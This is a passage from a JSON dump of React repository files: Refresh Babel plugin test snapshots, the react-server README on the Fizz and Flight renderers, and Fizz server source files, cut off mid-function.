exotic ways to call Hooks 1`] = `\nvar _s2 = $RefreshSig$();\nimport FancyHook from 'fancy';\nexport default function App() {\n  _s2();\n  var _s = $RefreshSig$();\n  function useFancyState() {\n    _s();\n    const [foo, setFoo] = React.useState(0);\n    useFancyEffect();\n    return foo;\n  }\n  _s(useFancyState, \"useState{[foo, setFoo](0)}\\\\nuseFancyEffect{}\", true);\n  const bar = useFancyState();\n  const baz = FancyHook.useThing();\n  React.useState();\n  useThePlatform();\n  return <h1>{bar}{baz}</h1>;\n}\n_s2(App, \"useFancyState{bar}\\\\nuseThing{baz}\\\\nuseState{}\\\\nuseThePlatform{}\", true, function () {\n  return [FancyHook.useThing];\n});\n_c = App;\nvar _c;\n$RefreshReg$(_c, \"App\");\n`;\n\nexports[`ReactFreshBabelPlugin ignores HOC definitions 1`] = `\nlet connect = () => {\n  function Comp() {\n    const handleClick = () => {};\n    return <h1 onClick={handleClick}>Hi</h1>;\n  }\n  return Comp;\n};\nfunction withRouter() {\n  return function Child() {\n    const handleClick = () => {};\n    return <h1 onClick={handleClick}>Hi</h1>;\n  };\n}\n;\n`;\n\nexports[`ReactFreshBabelPlugin ignores complex definitions 1`] = `\nlet A = foo ? () => {\n  return <h1>Hi</h1>;\n} : null;\nconst B = function Foo() {\n  return <h1>Hi</h1>;\n}();\nlet C = () => () => {\n  return <h1>Hi</h1>;\n};\nlet D = bar && (() => {\n  return <h1>Hi</h1>;\n});\n`;\n\nexports[`ReactFreshBabelPlugin ignores higher-order functions that are not HOCs 1`] = `\nconst throttledAlert = throttle(function () {\n  alert('Hi');\n});\nconst TooComplex = function () {\n  return hello;\n}(() => {});\nif (cond) {\n  const Foo = thing(() => {});\n}\n`;\n\nexports[`ReactFreshBabelPlugin ignores unnamed function declarations 1`] = `export default function () {}`;\n\nexports[`ReactFreshBabelPlugin includes custom hooks into the signatures 1`] = `\nvar _s = $RefreshSig$(),\n  _s2 = $RefreshSig$(),\n  _s3 = $RefreshSig$();\nfunction useFancyState() {\n  _s();\n  const [foo, setFoo] = React.useState(0);\n  useFancyEffect();\n  return foo;\n}\n_s(useFancyState, \"useState{[foo, setFoo](0)}\\\\nuseFancyEffect{}\", false, function () {\n  return [useFancyEffect];\n});\nconst useFancyEffect = () => {\n  _s2();\n  React.useEffect(() => {});\n};\n_s2(useFancyEffect, \"useEffect{}\");\nexport default function App() {\n  _s3();\n  const bar = useFancyState();\n  return <h1>{bar}</h1>;\n}\n_s3(App, \"useFancyState{bar}\", false, function () {\n  return [useFancyState];\n});\n_c = App;\nvar _c;\n$RefreshReg$(_c, \"App\");\n`;\n\nexports[`ReactFreshBabelPlugin includes custom hooks into the signatures when commonjs target is used 1`] = `\n\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = App;\nvar _hooks = require(\"./hooks\");\nvar _s = $RefreshSig$();\nfunction App() {\n  _s();\n  const bar = (0, _hooks.useFancyState)();\n  return <h1>{bar}</h1>;\n}\n_s(App, \"useFancyState{bar}\", false, function () {\n  return [_hooks.useFancyState];\n});\n_c = App;\nvar _c;\n$RefreshReg$(_c, \"App\");\n`;\n\nexports[`ReactFreshBabelPlugin only registers pascal case functions 1`] = `\nfunction hello() {\n  return 2 * 2;\n}\n`;\n\nexports[`ReactFreshBabelPlugin registers capitalized identifiers in HOC calls 1`] = `\nfunction Foo() {\n  return <h1>Hi</h1>;\n}\n_c = Foo;\nexport default _c2 = hoc(Foo);\nexport const A = hoc(Foo);\n_c3 = A;\nconst B = hoc(Foo);\n_c4 = B;\nvar _c, _c2, _c3, _c4;\n$RefreshReg$(_c, \"Foo\");\n$RefreshReg$(_c2, \"%default%\");\n$RefreshReg$(_c3, \"A\");\n$RefreshReg$(_c4, \"B\");\n`;\n\nexports[`ReactFreshBabelPlugin registers identifiers used in JSX at definition site 1`] = `\nimport A from './A';\nimport Store from './Store';\nStore.subscribe();\nconst Header = styled.div\\`color: red\\`;\n_c = Header;\nconst StyledFactory1 = styled('div')\\`color: hotpink\\`;\n_c2 = StyledFactory1;\nconst StyledFactory2 = styled('div')({\n  color: 'hotpink'\n});\n_c3 = StyledFactory2;\nconst StyledFactory3 = styled(A)({\n  color: 'hotpink'\n});\n_c4 = StyledFactory3;\nconst FunnyFactory = funny.factory\\`\\`;\nlet Alias1 = A;\nlet Alias2 = A.Foo;\nconst Dict = {};\nfunction Foo() {\n  return <div><A /><B /><StyledFactory1 /><StyledFactory2 /><StyledFactory3 /><Alias1 /><Alias2 /><Header /><Dict.X /></div>;\n}\n_c5 = Foo;\nconst B = hoc(A);\n// This is currently registered as a false positive:\n_c6 = B;\nconst NotAComponent = wow(A);\n// We could avoid it but it also doesn't hurt.\n_c7 = NotAComponent;\nvar _c, _c2, _c3, _c4, _c5, _c6, _c7;\n$RefreshReg$(_c, \"Header\");\n$RefreshReg$(_c2, \"StyledFactory1\");\n$RefreshReg$(_c3, \"StyledFactory2\");\n$RefreshReg$(_c4, \"StyledFactory3\");\n$RefreshReg$(_c5, \"Foo\");\n$RefreshReg$(_c6, \"B\");\n$RefreshReg$(_c7, \"NotAComponent\");\n`;\n\nexports[`ReactFreshBabelPlugin registers identifiers used in React.createElement at definition site 1`] = `\nimport A from './A';\nimport Store from './Store';\nStore.subscribe();\nconst Header = styled.div\\`color: red\\`;\n_c = Header;\nconst StyledFactory1 = styled('div')\\`color: hotpink\\`;\n_c2 = StyledFactory1;\nconst StyledFactory2 = styled('div')({\n  color: 'hotpink'\n});\n_c3 = StyledFactory2;\nconst StyledFactory3 = styled(A)({\n  color: 'hotpink'\n});\n_c4 = StyledFactory3;\nconst FunnyFactory = funny.factory\\`\\`;\nlet Alias1 = A;\nlet Alias2 = A.Foo;\nconst Dict = {};\nfunction Foo() {\n  return [React.createElement(A), React.createElement(B), React.createElement(StyledFactory1), React.createElement(StyledFactory2), React.createElement(StyledFactory3), React.createElement(Alias1), React.createElement(Alias2), jsx(Header), React.createElement(Dict.X)];\n}\n_c5 = Foo;\nReact.createContext(Store);\nconst B = hoc(A);\n// This is currently registered as a false positive:\n_c6 = B;\nconst NotAComponent = wow(A);\n// We could avoid it but it also doesn't hurt.\n_c7 = NotAComponent;\nvar _c, _c2, _c3, _c4, _c5, _c6, _c7;\n$RefreshReg$(_c, \"Header\");\n$RefreshReg$(_c2, \"StyledFactory1\");\n$RefreshReg$(_c3, \"StyledFactory2\");\n$RefreshReg$(_c4, \"StyledFactory3\");\n$RefreshReg$(_c5, \"Foo\");\n$RefreshReg$(_c6, \"B\");\n$RefreshReg$(_c7, \"NotAComponent\");\n`;\n\nexports[`ReactFreshBabelPlugin registers likely HOCs with inline functions 1`] = `\nconst A = forwardRef(_c = function () {\n  return <h1>Foo</h1>;\n});\n_c2 = A;\nconst B = memo(_c4 = React.forwardRef(_c3 = () => {\n  return <h1>Foo</h1>;\n}));\n_c5 = B;\nexport default _c8 = React.memo(_c7 = forwardRef(_c6 = (props, ref) => {\n  return <h1>Foo</h1>;\n}));\nvar _c, _c2, _c3, _c4, _c5, _c6, _c7, _c8;\n$RefreshReg$(_c, \"A$forwardRef\");\n$RefreshReg$(_c2, \"A\");\n$RefreshReg$(_c3, \"B$memo$React.forwardRef\");\n$RefreshReg$(_c4, \"B$memo\");\n$RefreshReg$(_c5, \"B\");\n$RefreshReg$(_c6, \"%default%$React.memo$forwardRef\");\n$RefreshReg$(_c7, \"%default%$React.memo\");\n$RefreshReg$(_c8, \"%default%\");\n`;\n\nexports[`ReactFreshBabelPlugin registers likely HOCs with inline functions 2`] = `\nexport default _c3 = React.memo(_c2 = forwardRef(_c = function (props, ref) {\n  return <h1>Foo</h1>;\n}));\nvar _c, _c2, _c3;\n$RefreshReg$(_c, \"%default%$React.memo$forwardRef\");\n$RefreshReg$(_c2, \"%default%$React.memo\");\n$RefreshReg$(_c3, \"%default%\");\n`;\n\nexports[`ReactFreshBabelPlugin registers likely HOCs with inline functions 3`] = `\nexport default _c3 = React.memo(_c2 = forwardRef(_c = function Named(props, ref) {\n  return <h1>Foo</h1>;\n}));\nvar _c, _c2, _c3;\n$RefreshReg$(_c, \"%default%$React.memo$forwardRef\");\n$RefreshReg$(_c2, \"%default%$React.memo\");\n$RefreshReg$(_c3, \"%default%\");\n`;\n\nexports[`ReactFreshBabelPlugin registers top-level exported function declarations 1`] = `\nexport function Hello() {\n  function handleClick() {}\n  return <h1 onClick={handleClick}>Hi</h1>;\n}\n_c = Hello;\nexport default function Bar() {\n  return <Hello />;\n}\n_c2 = Bar;\nfunction Baz() {\n  return <h1>OK</h1>;\n}\n_c3 = Baz;\nconst NotAComp = 'hi';\nexport { Baz, NotAComp };\nexport function sum() {}\nexport const Bad = 42;\nvar _c, _c2, _c3;\n$RefreshReg$(_c, \"Hello\");\n$RefreshReg$(_c2, \"Bar\");\n$RefreshReg$(_c3, \"Baz\");\n`;\n\nexports[`ReactFreshBabelPlugin registers top-level exported named arrow functions 1`] = `\nexport const Hello = () => {\n  function handleClick() {}\n  return <h1 onClick={handleClick}>Hi</h1>;\n};\n_c = Hello;\nexport let Bar = props => <Hello />;\n_c2 = Bar;\nexport default (() => {\n  // This one should be ignored.\n  // You should name your components.\n  return <Hello />;\n});\nvar _c, _c2;\n$RefreshReg$(_c, \"Hello\");\n$RefreshReg$(_c2, \"Bar\");\n`;\n\nexports[`ReactFreshBabelPlugin registers top-level function declarations 1`] = `\nfunction Hello() {\n  function handleClick() {}\n  return <h1 onClick={handleClick}>Hi</h1>;\n}\n_c = Hello;\nfunction Bar() {\n  return <Hello />;\n}\n_c2 = Bar;\nvar _c, _c2;\n$RefreshReg$(_c, \"Hello\");\n$RefreshReg$(_c2, \"Bar\");\n`;\n\nexports[`ReactFreshBabelPlugin registers top-level variable declarations with arrow functions 1`] = `\nlet Hello = () => {\n  const handleClick = () => {};\n  return <h1 onClick={handleClick}>Hi</h1>;\n};\n_c = Hello;\nconst Bar = () => {\n  return <Hello />;\n};\n_c2 = Bar;\nvar Baz = () => <div />;\n_c3 = Baz;\nvar sum = () => {};\nvar _c, _c2, _c3;\n$RefreshReg$(_c, \"Hello\");\n$RefreshReg$(_c2, \"Bar\");\n$RefreshReg$(_c3, \"Baz\");\n`;\n\nexports[`ReactFreshBabelPlugin registers top-level variable declarations with function expressions 1`] = `\nlet Hello = function () {\n  function handleClick() {}\n  return <h1 onClick={handleClick}>Hi</h1>;\n};\n_c = Hello;\nconst Bar = function Baz() {\n  return <Hello />;\n};\n_c2 = Bar;\nfunction sum() {}\nlet Baz = 10;\nvar Qux;\nvar _c, _c2;\n$RefreshReg$(_c, \"Hello\");\n$RefreshReg$(_c2, \"Bar\");\n`;\n\nexports[`ReactFreshBabelPlugin supports typescript namespace syntax 1`] = `\nnamespace Foo {\n  export namespace Bar {\n    export const A = () => {};\n    _c = A;\n    function B() {}\n    _c2 = B;\n    ;\n    export const B1 = B;\n  }\n  export const C = () => {};\n  _c3 = C;\n  export function D() {}\n  _c4 = D;\n  ;\n  namespace NotExported {\n    export const E = () => {};\n  }\n}\nvar _c, _c2, _c3, _c4;\n$RefreshReg$(_c, \"Foo$Bar$A\");\n$RefreshReg$(_c2, \"Foo$Bar$B\");\n$RefreshReg$(_c3, \"Foo$C\");\n$RefreshReg$(_c4, \"Foo$D\");\n`;\n\nexports[`ReactFreshBabelPlugin uses custom identifiers for $RefreshReg$ and $RefreshSig$ 1`] = `\nvar _s = import.meta.refreshSig();\nexport default function Bar() {\n  _s();\n  useContext(X);\n  return <Foo />;\n}\n_s(Bar, \"useContext{}\");\n_c = Bar;\n;\nvar _c;\nimport.meta.refreshReg(_c, \"Bar\");\n`;\n\nexports[`ReactFreshBabelPlugin uses original function declaration if it get reassigned 1`] = `\nfunction Hello() {\n  return <h1>Hi</h1>;\n}\n_c = Hello;\nHello = connect(Hello);\nvar _c;\n$RefreshReg$(_c, \"Hello\");\n`;\n"
  },
  {
    "path": "packages/react-server/README.md",
    "content": "# react-server\n\nThis is an experimental package for creating custom React streaming server renderers.\n\n**Its API is not as stable as that of React, React Native, or React DOM, and does not follow the common versioning scheme.**\n\n**Use it at your own risk.**\n\n## Usage\n\n`react-server` is a package implementing various Server Rendering capabilities. The two implementation are codenamed `Fizz` and `Flight`.\n\n`Fizz` is a renderer for Server Side Rendering React. The same code that runs in the client (browser or native) is run on the server to produce an initial view to send to the client before it has to download and run React and all the user code to produce that view on the client.\n\n`Flight` is a renderer for React Server Components. These are components that never run on a client. The output of a React Server Component render can be a React tree that can run on the client or be SSR'd using `Fizz`.\n\n## `Fizz` Usage\n\nThis part of the Readme is not fully developed yet\n\n## `Flight` Usage\n\nTo use `react-server` for React Server Components you must set up an implementation package alongside `react-client`. Use an existing implementation such as `react-server-dom-webpack` as a guide.\n\nYou might implement a render function like\n\n```js\nimport {\n  createRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n} from 'react-server/src/ReactFlightServer'\n\nfunction render(\n  model: ReactClientValue,\n  clientManifest: ClientManifest,\n  options?: Options,\n): ReadableStream {\n  const request = createRequest(\n    model,\n    clientManifest,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n  );\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\n```\n\n### `Flight` Rendering\n\n`react-server` implements the React Server Components rendering implementation. React Server Components is in essence a general purpose serialization and deserialization capability with support for some built-in React primitives such as Suspense and Lazy.\n\nThe renderable type is a superset of `structuredClone()`. In addition to all the cloneable types `react-server` can render Symbols, Promises, Iterators and Iterables, async Iterators and Iterables.\n\nHere are some examples of what can be rendered\n```js\n// primitives\ncreateResponse(123, ...)\n\n// objects and Arrays\ncreateResponse({ messages: ['hello', 'react'] }, ...)\n\n// Maps, Sets, and more\ncreateResponse({ m: Map(['k', 'v'])}, ...)\n```\n\nAdditionally React built ins can be rendered including Function Components\n\nFunction Component are called and the return value can be any renderable type. Since `react-server` supports Promises, Function Components can be async functions.\n\nHere are some examples of what can be rendered\n```js\n\nasync function App({ children }) {\n  return children\n}\n\ncreateResponse(<App ><Children /></App>, ...)\n```\n\nFinally, There are two types of references in `react-server` that can be rendered\n\n#### Client References\nWhen a React Server Component framework bundles an application and encounters a `\"use client\"` directive it must resister exported members with `\"registerClientReference\"` which will encode the necessary information for `Flight` to interpret the export as a reference to be loaded on the client rather than a direct dependency on the Server module graph.\n\nWhen rendering a client reference `Flight` will encode necessary information in the serialized output to describe how to load the code which represents the client module.\n\nWhile it is common for client references to be components they can be any value.\n\n\n```js\n'use client'\n\nexport function alert(message) {\n  alert(message)\n}\n```\n\n```js\n'use client'\n\nexport function ClientComp({ onClick, message }) {\n  return <button onClick={onClick}>Alert</button>\n}\n```\n\n```js\n\n// client references don't have to just be components, anything can be \n// a reference, in this case we're importing a function that will be\n// passed to the ClientComp component\nimport { alert } from '...'\nimport { ClientComp } from '...'\n\nasync function App({ children }) {\n  return children\n}\n\ncreateResponse(\n  <App >\n    <ClientComp onClick={alert} message={\"hello world\"} />\n  </App>,\n...)\n```\n\n#### Server References\nSimilarly When a React Server Component framework bundles an application and encounters a `\"use server\"` directive in a file or in a function body, including closures, it must implement that function as as a server entrypoint that can be called from the client. To make `Flight` aware that a function is a Server Reference the function should be registered with `registerServerReference()`.\n\n```js\n\nasync function logOnServer(message) {\n  \"use server\"\n  console.log(message)\n}\n\nasync function App({ children }) {\n  // logOnServer can be used in a Server Component\n  logOnServer('used from server')\n  return children\n}\n\ncreateResponse(\n  <App >\n    <ClientComp onClick={logOnServer} message={\"used from client\"} />\n  </App>,\n...)\n```\n\n### `Flight` Prerendering\n\nWhen rendering with `react-server` there are two broad contexts when this might happen. Realtime when responding to a user request and ahead of time when prerendering a page that can later be used more than once.\n\nWhile the core rendering implementation is the same in both cases there are subtle differences we can adopt that take advantage of the context. For instance while rendering in response to a real user request we want to stream eagerly if the consumer is requesting information. This allows us to stream content to the consumer as it becomes available but might have implications for the stability of the serialized format. When prerendering we assume there is not urgency to producing a partial result as quickly as possible so we can alter the internal implementation take advantage of this. To implement a prerender API use `createPrerenderRequest` in place of `createRequest`.\n\nOne key semantic change prerendering has with rendering is how errors are handled. When rendering an error is embedded into the output and must be handled by the consumer such as an SSR render or on the client. However with prerendering there is an expectation that if the prerender errors then the entire prerender will be discarded or it will be used but the consumer will attempt to recover that error by asking for a dynamic render. This is analogous to how errors during SSR aren't immediately handled they are actually encoded as requests for client recovery. The error only is observed if the retry on the client actually fails. To account for this prerenders simply omit parts of the model that errored. you can use the `onError` argument in `createPrerenderRequest` to observe if an error occurred and users of your `prerender` implementation can choose whether to abandon the prerender or implement dynamic recovery when an error occurs.\n\nExisting implementations only return the stream containing the output of the prerender once it has completed. In the future we may introduce a `resume` API similar to the one that exists for `Fizz`. In anticipation of such an API it is expected that implementations of `prerender` return the type `Promise<{ prelude: <Host Appropriate Stream Type> }>`\n\n```js\nfunction prerender(\n  model: ReactClientValue,\n  clientManifest: ClientManifest,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            startWork(request);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      clientManifest,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n    );\n    startWork(request);\n  });\n}\n```\n\n## `Flight` Reference (Incomplete)\n\n### `createRequest(model, bundlerConfig, ...options): Request`\n\nThe signature of this method changes as we evolve the project so this Readme will omit the specific signature but generally this function will produce a Request that represents the rendering of some React application (the model) along with implementation specific bundler configuration. Typically this configuration will tell the `Flight` implementation how to encode Client References in the serialized output\n\nThe `RequestInstance` represents the render.\n\nRendering does not actually begin until you call `startWork`\n\n### `createPrerenderRequest(model, bundlerConfig, ...options): Request`\n\nThis is similar to `createRequest` but it alters some internal semantics for how errors and aborts are treated. It returns the same type as `createRequest`.\n\n### `startWork(request: Request): void`\n\nWhen passed a request this will initiate the actual render. It will continue until it completes\n\n### `startFlowing(request: Request, destination: Destination): void`\n\na destination is whatever the implementation wants to use for storing the output of the render. In existing implementations it is either a Node stream or a Web stream. When you call `startFlowing` the request will write to the destination continuously whenever more chunks are unblocked, say after an async function has resolved and there is something new to serialize. You can implement streaming backpressure using `stopFlowing()`\n\n### `stopFlowing(request: Request): void`\n\nIf you need to pause or permanently end the writing of any additional serialized output for this request you can call `stopFlowing(request)`. You may start flowing again after you've stopped. This is how you would implement backpressure support for streams for instance. It's important to note that stopping flowing is not going to stop rendering. If you want rendering to stop you must `abort` the request.\n\n### `abort(request: Request): void`\n\nIf you want to stop rendering you can abort the request with `abort(request)`. This will cause all incomplete work to be abandoned. If the request was created with `createRequest` the abort will encode errors into any unfinished slots in the serialization. If the request was created with `createPrerenderRequest` the abort will omit anything in the places that are unfinished leaving the serialized model in an incomplete state.\n"
  },
  {
    "path": "packages/react-server/flight.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FlightServerAPI from './src/ReactFlightServer';\nimport typeof * as HostConfig from './src/ReactFlightServerConfig';\n\nexport * from './src/ReactFlightServer';\n\n// At build time, this module is wrapped as a factory function ($$$reconciler).\n// Consumers pass a host config object and get back the Flight server API.\ndeclare export default (hostConfig: HostConfig) => FlightServerAPI;\n"
  },
  {
    "path": "packages/react-server/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FizzAPI from './src/ReactFizzServer';\nimport typeof * as HostConfig from './src/ReactFizzConfig';\n\nexport * from './src/ReactFizzServer';\n\n// At build time, this module is wrapped as a factory function ($$$reconciler).\n// Consumers pass a host config object and get back the Fizz server API.\ndeclare export default (hostConfig: HostConfig) => FizzAPI;\n"
  },
  {
    "path": "packages/react-server/npm/flight.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-flight.production.js');\n} else {\n  module.exports = require('./cjs/react-server-flight.development.js');\n}\n"
  },
  {
    "path": "packages/react-server/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server.production.js');\n} else {\n  module.exports = require('./cjs/react-server.development.js');\n}\n"
  },
  {
    "path": "packages/react-server/package.json",
    "content": "{\n  \"name\": \"react-server\",\n  \"description\": \"React package for creating custom streaming server renderers.\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"flight.js\",\n    \"cjs/\"\n  ],\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-server\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzAsyncDispatcher.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ComponentStackNode} from './ReactFizzComponentStack';\n\nimport {currentTaskInDEV} from './ReactFizzCurrentTask';\n\nfunction getCacheForType<T>(resourceType: () => T): T {\n  throw new Error('Not implemented.');\n}\n\nfunction cacheSignal(): null | AbortSignal {\n  throw new Error('Not implemented.');\n}\n\nexport const DefaultAsyncDispatcher: AsyncDispatcher = ({\n  getCacheForType,\n  cacheSignal,\n}: any);\n\nif (__DEV__) {\n  DefaultAsyncDispatcher.getOwner = (): ComponentStackNode | null => {\n    if (currentTaskInDEV === null) {\n      return null;\n    }\n    return currentTaskInDEV.componentStack;\n  };\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzCallUserSpace.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {LazyComponent} from 'react/src/ReactLazy';\n\n// These indirections exists so we can exclude its stack frame in DEV (and anything below it).\n// TODO: Consider marking the whole bundle instead of these boundaries.\n\nconst callComponent = {\n  react_stack_bottom_frame: function <Props, Arg, R>(\n    Component: (p: Props, arg: Arg) => R,\n    props: Props,\n    secondArg: Arg,\n  ): R {\n    return Component(props, secondArg);\n  },\n};\n\nexport const callComponentInDEV: <Props, Arg, R>(\n  Component: (p: Props, arg: Arg) => R,\n  props: Props,\n  secondArg: Arg,\n) => R = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponent.react_stack_bottom_frame.bind(callComponent): any)\n  : (null: any);\n\ninterface ClassInstance<R> {\n  render(): R;\n}\n\nconst callRender = {\n  react_stack_bottom_frame: function <R>(instance: ClassInstance<R>): R {\n    return instance.render();\n  },\n};\n\nexport const callRenderInDEV: <R>(instance: ClassInstance<R>) => R => R =\n  __DEV__\n    ? // We use this technique to trick minifiers to preserve the function name.\n      (callRender.react_stack_bottom_frame.bind(callRender): any)\n    : (null: any);\n\nconst callLazyInit = {\n  react_stack_bottom_frame: function (lazy: LazyComponent<any, any>): any {\n    const payload = lazy._payload;\n    const init = lazy._init;\n    return init(payload);\n  },\n};\n\nexport const callLazyInitInDEV: (lazy: LazyComponent<any, any>) => any = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callLazyInit.react_stack_bottom_frame.bind(callLazyInit): any)\n  : (null: any);\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzClassComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {emptyContextObject} from './ReactFizzLegacyContext';\nimport {readContext} from './ReactFizzNewContext';\n\nimport {disableLegacyContext} from 'shared/ReactFeatureFlags';\nimport {get as getInstance, set as setInstance} from 'shared/ReactInstanceMap';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport {REACT_CONTEXT_TYPE, REACT_CONSUMER_TYPE} from 'shared/ReactSymbols';\nimport assign from 'shared/assign';\nimport isArray from 'shared/isArray';\n\nconst didWarnAboutNoopUpdateForComponent: {[string]: boolean} = {};\nconst didWarnAboutDeprecatedWillMount: {[string]: boolean} = {};\n\nlet didWarnAboutUninitializedState;\nlet didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate;\nlet didWarnAboutLegacyLifecyclesAndDerivedState;\nlet didWarnAboutUndefinedDerivedState;\nlet didWarnAboutDirectlyAssigningPropsToState;\nlet didWarnAboutContextTypeAndContextTypes;\nlet didWarnAboutContextTypes;\nlet didWarnAboutChildContextTypes;\nlet didWarnAboutInvalidateContextType;\nlet didWarnOnInvalidCallback;\n\nif (__DEV__) {\n  didWarnAboutUninitializedState = new Set<string>();\n  didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate = new Set<mixed>();\n  didWarnAboutLegacyLifecyclesAndDerivedState = new Set<string>();\n  didWarnAboutDirectlyAssigningPropsToState = new Set<string>();\n  didWarnAboutUndefinedDerivedState = new Set<string>();\n  didWarnAboutContextTypeAndContextTypes = new Set<mixed>();\n  didWarnAboutContextTypes = new Set<mixed>();\n  didWarnAboutChildContextTypes = new Set<mixed>();\n  didWarnAboutInvalidateContextType = new Set<mixed>();\n  didWarnOnInvalidCallback = new Set<string>();\n}\n\nfunction warnOnInvalidCallback(callback: mixed) {\n  if (__DEV__) {\n    if (callback === null || typeof callback === 'function') {\n      return;\n    }\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const key = String(callback);\n    if (!didWarnOnInvalidCallback.has(key)) {\n      didWarnOnInvalidCallback.add(key);\n      console.error(\n        'Expected the last optional `callback` argument to be a ' +\n          'function. Instead received: %s.',\n        callback,\n      );\n    }\n  }\n}\n\nfunction warnOnUndefinedDerivedState(type: any, partialState: any) {\n  if (__DEV__) {\n    if (partialState === undefined) {\n      const componentName = getComponentNameFromType(type) || 'Component';\n      if (!didWarnAboutUndefinedDerivedState.has(componentName)) {\n        didWarnAboutUndefinedDerivedState.add(componentName);\n        console.error(\n          '%s.getDerivedStateFromProps(): A valid state object (or null) must be returned. ' +\n            'You have returned undefined.',\n          componentName,\n        );\n      }\n    }\n  }\n}\n\nfunction warnNoop(\n  publicInstance: component(...props: any),\n  callerName: string,\n) {\n  if (__DEV__) {\n    const constructor = publicInstance.constructor;\n    const componentName =\n      (constructor && getComponentNameFromType(constructor)) || 'ReactClass';\n    const warningKey = componentName + '.' + callerName;\n    if (didWarnAboutNoopUpdateForComponent[warningKey]) {\n      return;\n    }\n\n    console.error(\n      'Can only update a mounting component. ' +\n        'This usually means you called %s() outside componentWillMount() on the server. ' +\n        'This is a no-op.\\n\\nPlease check the code for the %s component.',\n      callerName,\n      componentName,\n    );\n    didWarnAboutNoopUpdateForComponent[warningKey] = true;\n  }\n}\n\ntype InternalInstance = {\n  queue: null | Array<Object>,\n  replace: boolean,\n};\n\nconst classComponentUpdater = {\n  // $FlowFixMe[missing-local-annot]\n  enqueueSetState(inst: any, payload: any, callback) {\n    const internals: InternalInstance = getInstance(inst);\n    if (internals.queue === null) {\n      warnNoop(inst, 'setState');\n    } else {\n      internals.queue.push(payload);\n      if (__DEV__) {\n        if (callback !== undefined && callback !== null) {\n          warnOnInvalidCallback(callback);\n        }\n      }\n    }\n  },\n  enqueueReplaceState(inst: any, payload: any, callback: null) {\n    const internals: InternalInstance = getInstance(inst);\n    internals.replace = true;\n    internals.queue = [payload];\n    if (__DEV__) {\n      if (callback !== undefined && callback !== null) {\n        warnOnInvalidCallback(callback);\n      }\n    }\n  },\n  // $FlowFixMe[missing-local-annot]\n  enqueueForceUpdate(inst: any, callback) {\n    const internals: InternalInstance = getInstance(inst);\n    if (internals.queue === null) {\n      warnNoop(inst, 'forceUpdate');\n    } else {\n      if (__DEV__) {\n        if (callback !== undefined && callback !== null) {\n          warnOnInvalidCallback(callback);\n        }\n      }\n    }\n  },\n};\n\nfunction applyDerivedStateFromProps(\n  instance: any,\n  ctor: any,\n  getDerivedStateFromProps: (props: any, state: any) => any,\n  prevState: any,\n  nextProps: any,\n) {\n  const partialState = getDerivedStateFromProps(nextProps, prevState);\n\n  if (__DEV__) {\n    